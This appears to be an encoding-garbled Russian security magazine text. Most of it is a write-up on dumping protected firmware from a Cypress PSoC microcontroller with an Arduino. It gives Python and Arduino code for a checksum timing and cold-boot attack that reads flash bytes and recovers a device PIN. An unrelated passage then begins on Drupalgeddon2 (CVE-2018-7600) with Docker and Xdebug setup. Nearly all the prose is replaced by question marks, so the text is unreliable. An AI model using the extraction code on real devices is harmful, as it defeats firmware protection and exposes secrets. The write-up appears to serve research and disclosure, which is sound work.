???�???�?�???�??�???�???�??� ???�??????燙ypress???????燞SSP????�?燗r?
duino,� ?� ???�???�????�?� Arduino� Uno� ???� ???�??�????� ?� ISSP?????�??� ????�
??????�??�??�?.
??�???� ???�????,� ???� ?� ????� ???�?� ?????�???�??� ?� ??????�?� ????�?
????�??�??�??�?.�??�?????�????�??�?�??�?�?燝itHub:� ?????,�????�
????�??�???� Python???????� ???� ????�??� ?� Arduino� ?� ?� ????� ??????�????
cypress_psoc_tools.
????,� ???�????� Arduino,� ?� ???�???� ??????�????� ???� �???�??粻 ????�?
�??�????�??粻???�???.��??????�?�??�?????�???�?????燫OM,�?????�??
?????�?� VERIFY.� ???� ?� ???�?????,� ???�?� ???� ???�???� ??� ???�???.� ????�???,
?????�???,�??�???�?�???�?�???�???�???�???�?????�?�??�???�??.
??�??� ?� ???�??� ???�???�?� ???�?� ????�???�??� ???�????� ???� ??????� ?� ????�
???� ??????/?????�???.� ????�?� ???�????,� ???� ??� ?????� ??????� ???� SROM,
????�??�????�?�?,�??�???�?�?????�?!
????�?????�??�???�?????�??�????�???
???�?????� ??� �????�??�??�????�??粻 ???�???,� ?� ????�????,� ???� ??????
??????�???� ??????�??�??????�??� ?????�??� (0xF8?0xFA)� ???� ???�????� M8C?
????�??,� ???????� ?????�???�?� ???�????,� ?� ?????� ??????.� ???� ???�?????
???� ?????�???� ???�?????� ????�?,� ?????� ???� 獳DD�,� 玀OV� A,� X�,� 玃USH�
???� 獼MP�.� ???�???�?� ??� (???�?� ??� ?????�??� ???????,� ???�???�???� ???
??� ?????�??)� ?� ????� ????�?????,� ?????� ??� ??????�??�??????�??� ?????�???
???�????�?�???�???�???�???�????�??�?�(A,燲,燬P�燩C).
?� ???�?� �????�??�??�????�??粻 ???,� ???�???�????�??� ???�??�??�??
HSSP_disas.rb,�??�????�??�(???�??????��??????�??�????�??):
??==爄nit2�=??
[DE燛0�]爓rreg燙PU_F�(f7),�00牋�#�????�?????
[DE燙0�]爓rreg燬P�(f6),�00牋牋牋#�????燬P
[9F��]爓rmem燢EY1,�3A牋牋�#�???????????�???????�??燬SC
[9F��]爓rmem燢EY2,�03牋牋�#�?????????
[DE燗0�]爓rreg燩Ch�(f5),�00牋牋�#�????燩C�(MSB)�...
[DE��]爓rreg燩Cl�(f4),�03牋牋�#�(LSB)�...�?�?
[9F��]爓rmem燩OINTER,�80牋牋牋#燫AM??????????�??�???????�
??????
[DF��]爓rreg爋pc1�(f9),�30牋牋牋牋#�????�>�"HALT"
[DF��]爓rreg爋pc2�(fa),�40牋牋牋牋#�????�>�"NOP"
[9F��]爓rmem燘LOCKID,�01牋#燘LOCK營D�??�?????燬SC
[DE�燚C]爓rreg燗�(f0),�06牋牋牋�#�????�"Syscall"�燭ableRead
[DF��]爓rreg爋pc0�(f8),�00牋牋牋牋#�????�??燬SC,�"Superv
isory燬ROM燙all"
[DF燛2�]爓rreg燙PU_SCR0�(ff),�12牋牋#�??????????????????�
????????:�????????�??????�????
??�??�??�???
??� ???�??� ???�?� ?� ???� ????� ??????�?� ?� PSoC,� ??� ?� ????� ???� ???� ???� ????�
?????�??� ???????�??� ?� ?????�??� ?????� ????�?.� ?� ???� ?????� ????�??,� ???
Cypress�?�???�???�?????�?�????�?�??????�??????�??�???,�??�?�???�
??????,� ????�???�???� ??� ??????.� ?� ????�??�?� ?� Google,� ???�?� ????�?????�?
??????,�??燞SSP????,�??�??�?????�??燙ypress???,�??�???????�??�??�?
????,�??�???�????�??�???�?????�????.��?????�???�?????�?�??�????
?????�??�??:
[DE燛0�]爓rreg燙PU_F�(f7),�00
[DE燙0�]爓rreg燬P�(f6),�00
[9F��]爓rmem燢EY1,�3A
[9F��]爓rmem燢EY2,�03
[9F燗0�]爓rmem�FD,�00�#�??????????�????????
[9F燛0�]爓rmem�FF,�00�#�?????????
[DE燗0�]爓rreg燩Ch�(f5),�00
[DE��]爓rreg燩Cl�(f4),�03
[9F��]爓rmem燩OINTER,�80
[DF��]爓rreg爋pc1�(f9),�30
[DF��]爓rreg爋pc2�(fa),�40
[DE��]爓rreg燗�(f0),�10牋�#�??????????????????爏yscall!
[DF��]爓rreg爋pc0�(f8),�00
[DF燛2�]爓rreg燙PU_SCR0�(ff),�12
??�???�??� ????� ???�??� (??.� read_security_data� ?� psoc.py),� ??� ??????�?� ???
?????�??�???�燬RAM��80,�??�?�??�??�?????�???�???�??�????�?
??�??�???.
??�???�??� ????�???:� ???� ??????�?� ?� ??????� �????�???� ????�??� ???�??
?�?????�.�????�?�?�?�???�?�??�?????��???�?�?????�?�????,�?�
??????�???� ????� (???�?,� ???�????,� ????�???� ????� ROM????�??).� ?� ??????�
????�??�??�??�????�???�?????��??�?????�??�???�???�??.�(
??????�(???????????)�????:燫OMX
??�???� ??� ?????� ???�???????� ???�???� ???�?????� ????:� ???�???�?� ?� ???
????�??�???????�????�???�??�?????�??�???�?,�?????�?�?�????�???
ROMX,�??????�??�???�???�??�??�??�???????????��?????�??�???�???
???�????�??�?�?�????.�?????�??�??�???燫eadBlock,�??�???�???�???�
???� ??� SROM� (???????� ??????�???�?� ???�?????),� ???�???�?,� ??????�???� ??
???� ??� ISSP.� ????�?� ?????� ROMX,� ????�?????�???�?,� ?????� ??� ?????� ?????
???�??�?.�???,�??燩ython????�(???�?�????�????�??�???�??�???�???�????�
???�???�??��??�??燗rduino????):
for爄爄n爎ange(0,�92):
牋爓rite_reg(0xF0,爄>>8)牋牋牋�#燗��牋爓rite_reg(0xF3,爄&0xFF)牋牋�#燲��牋爀xec_opcodes("\x28\x30\x40")牋牋#燫OMX,燞ALT,燦OP
牋燽yte�爎ead_reg(0xF0)牋牋牋�#燫OMX爎eads燫OM[A|X]爄nto燗
牋爌rint�"%02x"�%爋rd(byte[0])�#爌rint燫OM燽yte
?� ??????�??,� ????� ???� ??� ??????�?.� :(� ???�??,� ??????�?,� ??� ??� ??� ??????
??????�?� ????� ????�???�??� ????�?� (0x28� 0x30� 0x40)!� ??� ?????,� ???� ?????�
????�??�???�??�??�????�????�????�?�??�??�??�??�??�?????�?�??�??.
???� ????�?� ??????� ??� ????�??�??� ????:� ???� ?????�????� ????�??� ????�??
ROM???????�???�??????�????�???�?�??�??�??�????.
??????�????:�??????????��???????�????????????
???�???�?� ????� ?� ROMX� ??� ???�????,� ?� ????� ????�?????� ???�??� ????�???
???�?� ???�?� ?� ???�??�??� ?� ???�??????� Shedding� too� much� Light� on� a� Micro?
controller?s燜irmware燩rotection.
??�??�????
?�??????�????�?營SSP�??�????�??�?????�??�??�??燙HECKSUM?SETUP:
[DE燛0�]爓rreg燙PU_F�(f7),�00
[DE燙0�]爓rreg燬P�(f6),�00
[9F��]爓rmem燢EY1,�3A
[9F��]爓rmem燢EY2,�03
[DE燗0�]爓rreg燩Ch�(f5),�00
[DE��]爓rreg燩Cl�(f4),�03
[9F��]爓rmem燩OINTER,�80
[DF��]爓rreg爋pc1�(f9),�30
[DF��]爓rreg爋pc2�(fa),�40
[9F��]爓rmem燘LOCKID,�00
[DE�燜C]爓rreg燗�(f0),�07
[DF��]爓rreg爋pc0�(f8),�00
[DF燛2�]爓rreg燙PU_SCR0�(ff),�12
?????�??�???�??�?�????燬ROM????�???�07,�??�???�???�???��???????�
?????�(???�??�????�??):
???�??�???�??�??�?�??�????�??�??�?.�??�????�???�-???????
???�????�??� ???�?� ???????�??� ???�??,� ?????�??� ????�?????�??,
?� ?????� ????????�?,� ?????�????� ?� ????.� ????????� BLOCKID� ??????-�
????�?�??�?????�?�??????�??�??�??,�??????�????�?????�?????-�
??�??�??�???�??�????�??�??�?.�??�????�????�????�???�??-�
?????�??� ???�?� ????�?� ???� ??????�?� ???�?,� ???�?� ???� 0� ???�????
?� ????,� ???� ?????� ?????�???� ?????� ???�????�??� ???�?
????� 256� ???�??� ????????�?.� 16????????� ???�????�??� ???�?
???�??�???�?�????燢EY1�燢EY2.��??????�?燢EY1�??�???�???
????�??� 8� ???� ???�????�??� ???�?,� ?� ?� KEY2� ?� ????�??� 8� ???.
???� ?????�??� ?� ???�???�???� ????????�???� ???�???� ???�????�??
???�?� ??????�???� ???� ???�???� ??� ??????�??�?.� ?????� ???�?,
?� ???????� ???� ?????� ????????,� ????�???� ?????�???� FLS_PR1� (?????
????�??�?��??�???,�???�???�??�??�?�?????�?�???????�?).
??�???�??�????,�??�??�???�??�??�??�????�??�??�?:�??�?�???�?�???�
????�???� ????� ??� ???�???� ???????� ????�?????� CRC????�??.� ???�?� ????,
????,� ???� ?� ????� M8C� ?????� ?????�???� ?????� ???????,� ?� ????�??????,� ???
???� ?????�????� ???�????�??� ???�?� ???�???�??�??� ???�????� ?????� ????�
????????�?� ?� ???� ??� ?????� ???????�??,� ???????� ?� ???�?� ???�??� ??� ?????:
KEY1�(0xF8)�/燢EY2�(0xF9).
????,��?????�??�??�?�??�????�??:
1.�?�??�???�?�????營SSP.
2.�?�??�???� ?????�????� ???�????�??� ???�?� ?� ??????�?????�?� ???�???
CHECKSUM?SETUP.
3.�?�????�???�?�??�??�??�????�????�??�??�?燭.
4.�??�???�?燫AM,�??�?�???????�??????�??�????�??�??�?燙.
5.�??�???�?�???���??�??�??�??�???�??�???�??燭.
6.�??�??�??�???�?� ???�??� ??� ????�?,� ???????� ???�???�??� ???�????�??
???�?燙�?�??????.
??�???�??�????�???�???:�??�??營nitialize?1,�??????�?�??�??�????�???
???�?�??????�????,�?????�???�???燢EY1�燢EY2:
1100101000000000000000牋#�????,�??????????燩SoC��????�
????????????????
nop
nop
nop
nop
nop
[DE燛0�]爓rreg燙PU_F�(f7),�00
[DE燙0�]爓rreg燬P�(f6),�00
[9F��]爓rmem燢EY1,�3A�#�??????????�????�???????????????�
?????
[9F��]爓rmem燢EY2,�03�#��????
[DE燗0�]爓rreg燩Ch�(f5),�00
[DE��]爓rreg燩Cl�(f4),�03
[9F��]爓rmem燩OINTER,�80
[DF��]爓rreg爋pc1�(f9),�30
[DF��]爓rreg爋pc2�(fa),�40
[DE��]爓rreg燗�(f0),�09牋�#燬ROM????????�[DF��]爓rreg爋pc0�(f8),�00牋牋#燬SC
[DF燛2�]爓rreg燙PU_SCR0�(ff),�12
????�??�?????�?�???�??�????�??�??�????�??�??�?,�??????燙alibrate1
(SROM????�???� 9)?� ?????� ????,� ???� ????�??,� ????�?� ?????�??� ???????�??
???�?� (??� ??????� ???�????�???� ????� ????),� ???�?� ?� ?????� ????�????�????�
???��????�??�???燬RAM?��?,�??�?????�?!燗rduino????,�????�?????�??
???�?,�?????�?�????:
case燙mnd_STK_START_CSUM:
牋燾hecksum_delay��((uint32_t)getch())<<24;
牋燾hecksum_delay爘=�((uint32_t)getch())<<16;
牋燾hecksum_delay爘=�((uint32_t)getch())<<8;
牋燾hecksum_delay爘=爂etch();
牋爄f(checksum_delay��000)爗
牋牋牋爉s_delay�燾hecksum_delay/1000;
牋牋牋燾hecksum_delay�燾hecksum_delay%1000;
牋爙
牋爀lse爗
牋牋牋爉s_delay��
牋爙
牋爏end_checksum_v();
牋爄f(checksum_delay)
牋牋牋燿elayMicroseconds(checksum_delay);
牋燿elay(ms_delay);
牋爏tart_pmode();
1.�??�???燾heckum_delay.
2.�?�??�???�????�????�??�????�??�??�?�(send_checksum_v).
3.�?�??�???� ?????�??� ???�???�??� ???�???,� ???�????� ???�?????� ????�
??????�??�?:
? ?� ????� ????� ???�???,� ????� ??� ?????,� ???,� ???�???�???,� delayMicrosec?
onds� ??????�?� ???�??�??� ????�?� ?� ?????�??�?,� ??� ???�???�???�
??��3�???
? ?� ?????� ???�?� ????� ?????�?� ??� ???�???,� ????� ??� ????�????,� ???� de?
layMicroseconds,� ????� ??� ??� ????� ????????� 0,� ??????�?� ?????�????
???�?????�?!
4.�?�????�?????� PSoC� ?� ?????� ????�????�???�??� (????�?� ??????�???
???????�??�??�?,�??�?????�?�??�????�???�???�??�????).
???�????�??�?燩ython:
for燿elay爄n爎ange(0,�0000):牋#�???????��????????????
牋爁or爄爄n爎ange(0,�):牋牋牋#�?????????�?????????�??�?????�
??�???????
牋牋牋爐ry:
牋牋牋牋牋爎eset_psoc(quiet=True)牋#�???????????��???��????�
????????????????
牋牋牋牋牋爏end_vectors()牋牋牋#�???????�???????????????�???????
牋牋牋牋牋爏er.write("\x85"+struct.pack(">I",燿elay))�#�????????�
???????????�????�+�??????????????�????�???????
牋牋牋牋牋爎es�爏er.read(1)牋牋牋�#�??????燗rduino燗CK
牋牋牋爀xcept燛xception燼s爀:
牋牋牋牋牋爌rint爀
牋牋牋牋牋爏er.close()
牋牋牋牋牋爋s.system("timeout�s燢ILL�爌icocom�b�5200�/dev/
ttyACM0�&1��/dev/null")
牋牋牋牋牋爏er�爏erial.Serial('/dev/ttyACM0',�5200,爐imeout=0.5)�
#�??????�???????????????�???
牋牋牋牋牋燾ontinue
牋牋牋爌rint�"%05d�%02X�%02X�%02X"�%�(delay,牋牋牋#�??????�
RAM??????
牋牋牋牋牋牋牋爎ead_regb(0xf1),
牋牋牋牋牋牋牋爎ead_ramb(0xf8),
牋牋牋牋牋牋牋爎ead_ramb(0xf9))
?�???�??�??,�??�???�?�???�??:
1.�?�????�???�?燩SoC�(?�?????�???�??�??????�??�??�?).
2.�?�???�???�??�????�??�??�???�??�????�????.
3.�?�???�?燗rduino????�???燙mnd_STK_START_CSUM�(0x85),�???��?????�
???�??????�?�?????�???�????�??��??�??????�??.
4.�??�???�?� ???�????�??� ???�?� (0xF8� ?� 0xF9)� ?� ??????�??�??????�??
???????�F1.
????�??�????�???�?�?�?????�??�?�???�??�??????�?.�F1�???�????�
???,� ???�???�?� ???� ?????�???�??� ?????�???,� ???????� ?????�?� ???� ??????�
?????� ???�????�??� ???�?.� ???�????,� ???� ????????� ???�??�??� ???????�??,
??????�?????� ????�?????????????�??� ??????�????.� ????�?� ???�????
??�???�????�??,�??????��??????�????燗rduino,�?????�??爌icocom,�??�?
Arduino�????�???�???????�???�???�??�?�(???????�?�???�?????).
???�???�?�?????�??
??�???�??�?????燩ython??????�?�??�????�??�(????�??�??�??�???�??????�
??):
DELAY燜1燜8燜9牋#燜1��?????????�??????????�??????
牋牋牋牋牋牋牋牋�#燜8��??????�???�??????????�????
牋牋牋牋牋牋牋牋�#燜9��??????�???�??????????�????
00000�燛1�
[...]
00016燜9��
00016燜9��
00016燜9��
00016燜9��
00016燜9��
00016燜9��牋#�??????????�????�???????????��00017燜B��
[...]
00023燜8��
00024���牋#�?�???:�0080?0x0000��80�
00024���
00024���
[...]
00057燙C燛7�牋�#�?�???:�E7?0x80:�67
00057燙C燛7�
00057���牋#�??????�?�???,�??�????�?????????
00057���
00057���
00058燚0��
00058燚0��
00058燚0��
00058燚0��
00058燜8燛7�牋#�????燛7?
00058燚0��
[...]
00059燛7燛7�
00060���牋#�?????
[...]
00062���
00062���
00063���牋#�,�????!�??�?�?,�??????��??????�???
00063���
[...]
00075燙C��牋#�???,�117?0xE7:�30
???� ????� ?� ???� ????� ????�???:� ???�???�?� ??� ???�???�?� ???�????�??� ????�
?????�??�??�??,�??????�???�?�???�?�??�??�??�??�????.�???�?,�???�
????�?� ???� ???�???�?� ?????�????� (8192� ????)� ??????�?� 0,1478� ?� (?� ???????�
????� ?????�???�??� ???� ???�??� ?????�?),� ???� ???�??�?� ????�???�???�
??� 18,04� ???� ??� ????,� ??� ?????� ??????�?????� ???� ???�?� ???� ???�??�?� ????�
?????�??�????�??�??�?��??�??????�????�?.�??�??�??�??�????�??
???�???�???� ??????�??????� ???�?,� ???�???�?� ???�???�????� ?????�????
?????�?????�??� ???�???�?� ????�?� ????�????�?� ???�???�??.� ????�?� ?????
???�?� ???�?� ?????� ?????,� ??????� ???� �??�???????�??� ?????�????� ??� ????�
????粻???�??�??�??�???�??�???�???��??�????�?�??�?????�???:
134023燚0�燚D
134023燙C燚2燚C
134023燙C燚2燚C
134023燙C燚2燚C
134023燜B燚2燚C
134023�燚2燚C
134023燙C燚2燚C
134024��燚C
134024燙C燚2燚C
134024燜9�燚C
134024��燚D
134024��燚D
134024�燚2燚C
134024��燚C
134024��燚C
134024燜8燚2燚C
134024燜8燚2燚C
134025燙C燚2燚C
134025燛F燚2燚C
134025��燚D
134025燜8燚2燚C
134025��燚D
134025燙C燚2燚C
134025�燚2燚C
134025燜B燚2燚C
134025燙C燚2燚C
134025燜B�燚D
134026��燚D
134026��燚D
???� ??????� ???�??� ???� ???�??� ???�??????�???� ?????�??.� ?????� ???�?
??????�??�??�??�??�?�???�92�???�???�?�??�????�?�????�?��.
??�???�???�??�?????????�???
?� ????� ???� ??� ?????�??� ???,� ???????� ???�?????� ??????�??�????� ????�???�
????�??�???�?��??�??�???�????�????�?�??�???.�???�?�?????�??�?
????��??�??�??�????.�??�?�??�???�?��??,�??�??�??�??�??�??�??,�
?????�??�??�????�??�??�?????爉8cdis:
0000:��牋爅mp牋0068h牋牋�燫eset爒ector
[...]
0068:��牋爋r牋F,010h
006a:�爀3�爉ov牋reg[VLT_CR],087h
006d:�爀f牋燼nd牋F,0efh
006f:�爁e爁b燼nd牋reg[CPU_SCR1],0fbh
0072:��牋爉ov牋A,080h
0074:�牋牋swap燗,SP
0075:�爁a�爉ov牋[0fah],001h
0078:�牋牋mov牋X,SP
0079:�牋牋mov牋A,X
007a:��牋燼dd牋A,003h
007c:�爁9牋爉ov牋[0f9h],A
007e:�爁8�爉ov牋[0f8h],03ah
0081:��牋爉ov牋A,006h
0083:�牋牋ssc
[...]
0122:�牋牋pop牋A
0123:��牋爋r牋F,010h
0125:�爀3�爋r牋reg[VLT_CR],010h
0128:��牋燼nd牋F,000h�燩aging爉ode燾hanged爁rom�o�012a:爀f�牋爅acc�8dh
012c:爀0�牋爅acc�2dh
012e:��牋爋r牋F,010h
0130:�爀0�爉ov牋reg[OSC_CR0],002h
0133:�爀f牋燼nd牋F,0efh
0135:�爀2�爉ov牋reg[INT_VC],000h
0138:���爈call�30h
013b:�爁f牋爅mp牋013bh
013d:��牋爉ov牋A,008h
013f:�牋牋ret
???�????�???�?�???�??????�?!
??�????�????�??�????�???????
??�???,�??�?�?�????�??�?????�??�????�??�??�?��??�??�??�?????�
??�??�???,�?�????�??�?�??�?????,�??��??�??�???�???,�??�?�?:
? ???�??�????�??�???????
? ??�?????�?�??????.
???�???,� ???�?� ???�?� ????�???????�??� ?????� ???�????,� ?� ????� ????� ????�
?????�??�??�?��????���?,�??�?�??????�????.�????��???�????�??
???????��??�??�?�?�????.
??�???�??�??�??�?�?�????�??�????,�??�???�?�???�????�???�??�?.
??� ?� ???�?� ???�??� ???� ???�???� ????�?????,� ???� ???�????�??� ???�?� ?????�
??????� ??????� ?� ???�????�?� ???�?� 120� 000� ???� ?� 140� 000� ???� ?????�??.
??� �??????�,� ???????� ?� ???� ????�????,� ???� ????�??�?� ???�?????�??� ?
?????� ????�??�?� ???�???�?� delayMicroseconds,� ???????� ????�?� ???????�??
????,�??�?�?�?????�???�
??�??,�??�????�??�?�??�???,��????�??,�??燬ROM???????�??�?????
?????� CheckSum� ??� ???�?� ??????�?� ????�???,� ????�???� ???????�??� ???�??
???� ???�????�??� ???�?!� ?????� ????�??,� ??� ?????� ???� ???�?� ??????�?????
?????�??�????�???????��???�???牜?????�??�??????粻?�??�?????�?�?
???�?????�??�?.
???�??�???????�??�??�???�???�??�?????�?????�??:
??�??��??????�??????��3456�?�34567��??????:
??�??� ????�??,� ???????� ?� ????�??� ?????�??� ???????,� ??????,� ???�??�?
?�??�?�6.
???�???�???�??�?�6
????�6�??�??�??�???????�?�?????��??�??�5爔�爔���4�0�??
??� ??????� ???�???� ???�????�??� ???�?� ?� ????� ???�??� ???�?,� ?� ??� ???�????
????�?� ????�??????�?.� ?????,� ???�?� ???�???� ????�??�??� ???�????�?????
?????�??� ???�??� (?????� ?????�????� �??�???????�??� ?????�????� ??� ????�
????�),���??�?�??????�??�????�??�?�(??�????�??�5�7�??):
??�??�????�??�??�?,�??�??????�??�??�?��??????�????�??�???!�??
???�????,� ?????�?,� ??????�?� ??� ?� ASCII??????,� ??,� ???� ???�?????,� ????�???
??????�??,�??�??��????�???�??�????�?.
??�????,��??�??�??�??�???�?�??�??,�??�?�??�?,�??�??�??�?�????�
???�????�??�??????.�??�?????�??:
0xFF�???�???牜15�??????�,��?�????�???�?�??�??�??�????�??�????�?.
???�??�??�????�???????
???�??�???�????�??,�??????�?????�?�???�?�??�??�??�??�???:
def燿ump_pin():
爌in_map�爗0x24:�"0",�25:�"1",�26:�"2",�27:"3",�20:�"4",�
0x21:�"5",
牋牋牋�22:�"6",�23:�"7",�2c:�"8",�2d:�"9"}
爈ast_csum��爌in_bytes�燵]
爁or燿elay爄n爎ange(145495,�5719,�):
牋燾sum�燾sum_at(delay,�
牋燽yte��(csum?last_csum)&0xFF
牋爌rint�"%05d�%04x�(%04x)�>�%02x"�%�(delay,燾sum,爈ast_csum,燽yte)
牋爌in_bytes.append(byte)
牋爈ast_csum�燾sum
爌rint�"PIN:�",
爁or爄爄n爎ange(0,爈en(pin_bytes)):
牋爄f爌in_bytes[i]爄n爌in_map:
牋牋爌rint爌in_map[pin_bytes[i]],
爌rint
???�?????�??�??�????�????:
$�./psoc.py�
syncing:燢O燨K
Resetting燩SoC:燢O燫esetting燩SoC:燢O燫esetting燩SoC:燨K
145495�e2�(0000)�>爀2
145511�07�(53e2)�>�
145527�2d�(5407)�>�
145543�54�(542d)�>�
145559�74�(5454)�>�
145575�95�(5474)�>�
145591�b7�(5495)�>�
145607�da�(54b7)�>�
145623�06�(54da)�>�
145639�06�(5506)�>�
145655�33�(5506)�>�
145671�4c�(5533)�>�
145687�4e�(554c)�>�
145703�4e�(554e)�>�
PIN:�
???!�?????�?!
???�??�?????:�??�????�????�??,�?????�????�??�???,�??�??�??�?,
????�??�?�??�???�?�??�???�???燩SoC��???,�??????�???�????�?�.
???�??????
????,�??�????�??�?�?�??�???燩SoC,��??�??�??�?????�?????�???燗igo:
? ??�????�??�?????燬RAM,�???�???�??�?????�?�?�??�???�???
? ??�????�???�?�?????�?�??�???�??�??�???�???�??�?牜????�????�?
?�????�??�??????�?????粻?�????�???�???�???�??�???�??�???????.
???� ??� ?????� ?� ?????� ???�?� ????� ??????�??� ??????�??�?� ?� ?????� ????�??
?�??�??�???�???.�?�??�?�???�?�???�???�??�?????�???�??:
? ??�?????� ???�???� ???� ???�???�???� ??????�???�??� ?????�??� ???�??,
???????� ??????�?� ?� ??????�???� ???�?� �???�????�?� ?� ?????�??� ????????�
??????�
? ??�???�?????� FPGA????�??�?� ???� ???�????� ?????� ???�??� ???�??�??
?????�??�(???�?????�?????�???�??�??�??�???燗rduino)?
? ???�???????� ???� ????� ???�?:� ????�?� ??????�?� ?????�??� ???????,
???????�?????� ?� ????�???� RAM,� ????�??� ??� ??,� ???� ???�???�??� ???????
???�??�?�??�????�??�燫AM,�??�???�????.�???�?�?燗rduino�??�???�
????�?�?????�???�?,�??�???�?�??�???�??�???燗rduino�??�????�?�,
?�?�??�?�??�????�?????�???�??�?�?????�?��??�?????��3�.
??�?� ????�??�??� ????,� ???????� ???�?� ????� ??� ???�???????,� ?� ????�???
????�??� ???�??????� ???� ????�?� ??????� ??� ???�??.� ????� ??� ?????� ???�??
???�????,� ??� ??� ????�?� ????????� ????�??�?� ???�??� ???�??� ?� ????�?� ?
????�?� ????,� ???�?� ????????�?� ??� ???�??� ???�????�??� ???�?� ?� ?????�???
???�??�???�????�??�?.
???�???�?� SROM,� ????�???,� ???�???�?� ?????�??� ????� ???�???�???� ????�
?????�?� ??????� ReadBlock,� ??� ???�?� ??� ???�???� ??� ??� ?????,� ???� ???�???
?� ???�?� ????�??� ?????�?????,� ?� ???�?????� ?????�????� ???�?� ???�?� ????�
???�??,�???�??????�??�?�??�????�??燫Econ燘russels�17.
???� ????� ?????�??� ????,� ???????� ???�?� ????� ??� ???�???,� ?� ???�???
?� ???�????�?� ???�??:� ???� ???�??� ???�?� SRAM,� ????�????� ??????�???�
???????�??�??�?????�??????��??�????�??.
??????????
????,�?????�??�?�?????�???�??????�?�?????�??�???,�?????�??�??�???�
?????� ????????� ??� ??????�???� ????�??� (??� �??????�??�)� ???�????�????�
????� ????� ?� ???� ??� ????�??� (????),� ???� ??� ????� ?????�?� ?????�?� ????
?�??�?????�?�??�??!
???�??�?�?????�?????�??燗igo?�??�??�???�????�????????�?�??????
?????�????�??� HDD???????�????,� ?� ?� 2015� ????� ???�??� ???�??�????
??燬yScan,��??????�??�???�??�???�???�??????�????�??�???�??�????�
???� HDD???????�????� ?� ???� ???????�????,� ???� ?� ???� ???�?� ????� ??� ?????�
????.�?)
??� ???� ?????�???�??� ?� ???�????� ???� ?????�??� ?� ???�???�?� ???????.
?� ?????� ????�????� ?????�?� ??????� ?????.� ???�??� ?� ??????� ??????� (???�?� ?
??????� ????)� ?� ??� ???�?� (????� ????????).� ?� ???� ??� ?????� ?????� ????�???
???�?,�??????��??�????,�??�?�???????�??�?????.�????�???�?????�??
????�??????�???.
?????
????????????
2
????????�????????
?????�?????????
?燚RUPAL
aLLy
ONsec
@iamsecurity
???� ?� ???�??� ???� ???�???� �??�??�????�?�!� ???� ?????� ????�
???�??????�??��???�??�?�??�?�???�??�????�??�???�
?????�?� ?� ?????� ??� ?????� ???????�??� CMS.� ???�??�??
?????� ???�???�?� ????�??�?� ??????� ??????�??�??�?????�
????�???�?????�?�??�?�????�??�????�????�???�????
?????�?�?�??????�??�???.
????�???�???�??�?�?,�??�??�???�??�??�?????�??�????�??�???�??�??
???�??� ???�???�??� ?????� 7.?� ?� 8.?,� ??????� ??� 8.5.0.� ????�?� ????� ????�???�
????,�????�?�????�????�?�??�????�????�??�????��??�??�?????�???�
????�????�??.
INFO
???�??????� ??????�?� ????�?????�??� CVE?2018?
7600��??????�??�??�??�???�????.
???�????�???�????�???� ????�??��??�?�18�???,�???�?�?��???�?
?� ???�???� ??� ???�???????� ???�??� ??� ??????�???� PoC� ???� ???????� ?????�
????.� ???�?� ??????� ???�????�????� ???�???� ??� ????,� ???????� ???� ?????
???????�??��?�????�??�???�???�?�?�??�??,��????�??�?�??�?�?????
????�???.
??�???,� ???�?� ???�?� ????�???,� ?????� ???�?????� ??� ???�??????� ?� ???
???�??�?�?�???�??�?.
?????????????�???????�??????
???�??�???????�??�??????�??�????.�???�??�???�??�????�???�?�????�
???�???�???,� ?� ???�?� ????,� ?� Drupal� ???�???� ???�????�??� ??????�????
??� Docker� Hub,� ?� ???�??????� ???�??�??� ?� ???�??� ???�???� CMS� ???�?� ????�
????�?��???�?????.
???�?????� ???�???� ?????� MySQL,� ????� ???�?� ?� ???� ????,� Drupal� ????�
?????�???�?????�燬QLite.
$燿ocker爎un�d�e燤YSQL_USER="drupal"�e燤YSQL_PASSWORD="Q0b6EF
CVW4"�e燤YSQL_DATABASE="drupal"�?rm�?name=mysql�?hostname=mysql�
mysql/mysql?server
??�???� ???� ???�??�??� ?� CMS.� ?� ?????� ??????�?????� ???�?????� ???�????
???�??��5.0.
$燿ocker爎un�d�?rm�p80:80�p9000:9000�?link=mysql�
??name=drupalvh�?hostname=drupalvh燿rupal:8.5.0
????�?�????�???��??�??�?�????�??�??�?????��?????�??��???�??�?.
??�????�?燚rupal�5.0
??�?????�???�?�???�?�???�?��???�????�????�?????�????.
???�???�???�??�?燚rupal�5.0
???�????�???�??????��????�???�??�??�???�???.�???�?????�?????�?
?�???????,�??�,�?�??�?�???�?????燲debug.�???�???�??�???�??�???�?
?????�?????.
$爌ecl爄nstall爔debug
$爀cho�"zend_extension=/usr/local/lib/php/extensions/
no?debug?non?zts?20170718/xdebug.so"��/usr/local/etc/php/conf.d/
php?xdebug.ini
$爀cho�"xdebug.remote_enable=1"�>�/usr/local/etc/php/conf.d/
php?xdebug.ini
$爀cho�"xdebug.remote_host=192.168.99.1"�>�/usr/local/etc/php/conf.
d/php?xdebug.ini
??� ??????� ????????� IP??????� 192.168.99.1� ??� ????.� ????�?� ???????�???�?
???�???燗pache.
$爏ervice燼pache2爎eload
?�????�??�??????�?��?????�??燡etBrains燩hpStorm.
??????
???�?????�???�??�?��??�?,�??????�?????�???�??�??????.
???�??��??�??�??�????�?燚rupalgeddon�???�???,� ??� ????�?� ???� ???�????�???� ????�?� ??????�?� ????�??�??� ????
??????�?????�??�??�??�??.
?� ???� ??� ?????????� ????� ??� ???�??????� ???� ??????�????� ?????� ???�???.
???�?????� ??� ???� ???� ???�???�?,� ???????� ????�???� ??� ???�??�?.� ???�??
??????�???��????爏anitize,�??????�?????�?爏tripDangerousValues.
/core/lib/Drupal/Core/DrupalKernel.php
545:牋爌ublic爁unction爌reHandle(Request�$request)爗
546:牋牋�//燬anitize爐he爎equest.
547:牋牋�$request�燫equestSanitizer::sanitize(
548:牋牋牋�$request,
549:牋牋牋�(array)燬ettings::get(RequestSanitizer::SANITIZE_WHITELIST
,燵]),
/core/lib/Drupal/Core/Security/RequestSanitizer.php
40:牋爌ublic爏tatic爁unction爏anitize(Request�$request,�$whitelist,�$
log_sanitized_keys�燜ALSE)爗
...
44:牋牋牋�$request?>query?>replace(static::stripDangerousValues($
request?>query?>all(),�$whitelist,�$get_sanitized_keys));
?� ????� ?????,� ?� ????� ???�???,� ???� ?????�???� ???�??�?� ????� ???????�??
???????�??.� ????� ?� ???� ???�???�??�?� ???�??,� ??????�?????� ?� ???�???
?????�?�??�?????�??�???��???�?�??�????�??,�?�??�????�???�???.
/core/lib/Drupal/Core/Security/RequestSanitizer.php
84:牋爌rotected爏tatic爁unction爏tripDangerousValues($input,燼rray�$
whitelist,燼rray�&$sanitized_keys)爗
85:牋牋爄f�(is_array($input))爗
86:牋牋牋爁oreach�($input燼s�$key�>�$value)爗
